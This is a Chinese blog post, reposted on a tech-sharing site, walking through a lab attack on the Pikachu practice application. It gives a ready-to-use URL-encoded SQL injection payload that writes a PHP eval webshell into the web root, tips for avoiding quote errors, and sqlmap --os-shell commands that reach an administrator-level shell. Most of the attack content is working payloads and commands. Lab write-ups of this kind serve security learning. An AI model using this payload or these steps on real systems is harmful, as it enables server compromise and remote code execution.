标签:sqlmap shell -- 写入 sqli SQL POST 注入
注入
以pikachu为例,首先发现一个数据查询的点,对其进行手工验证
易知存在SQL注入
获取更多信息:
@@basedir,获取到当前MySQL安装路径
根据学过的知识可以知道,在phpstudy中,MySQL和WWW在同一级的目录结构中
写入webshell
--通过mysql写入文件需满足
- 连接数据库是root用户,如下图,普通用户无法写入
- my.ini配置文件需明确secure_file_priv="目录",参考:MySQL读写文件
--若满足上述要求,则尝试把webshell写入到WWW目录中,pyload如下
?name=kobe'+union+select+'1'%2C+'<%3F+php+%40eval(%24_POST[1])%3B+%3F>'+INTO+OUTFILE+'C%3A%2F%2FphpStudy%2FPHPTUtorial%2FWWW%2Fshell.php'+%23&submit=查询#
--靶机中存在这个shell文件
---- 成功利用
--遇到的坑:
- 因为写入一句话时POST['x']需要引号,而写入内容也需要引号,在靶机后台中SQL拼接中已使用了引号,所以这里出现三个引号,写入会报错,可将一句话的POST['x']改成POST[1]
- 算是小细节,<?php 问号和php要紧连在一起,中间不能有空格
sqlmap --os-shell
--sqlmap中的--os-shell同样也是通过写入文件后进一步拿到shell的,前提条件跟上面一样
--进入注入点,随便提交一个数据,复制一下请求头和POST数据
POST /pikachu-master/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.18.96
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://192.168.3.130
Connection: keep-alive
Referer: http://192.168.3.130/pikachu-master/vul/sqli/sqli_id.php
Cookie: PHPSESSID=ei17j4pdof94fjukl0766ede00
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
id=2&submit=%E6%9F%A5%E8%AF%A2
-- python2 sqlmap.py -r sqlmapTest.txt
-- python2 sqlmap.py -r sqlmapTest.txt --dbs得出数据库
--python2 sqlmap.py -r sqlmapTest.txt --os-shell
--选择php
--把路径写上去
利用
--查看当前系统用户权限
whoami/groups
--已是administrator权限
--待更新
标签:sqlmap,shell,--,写入,sqli,SQL,POST,注入 来源: https://blog.csdn.net/kongzhian/article/details/120998674
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。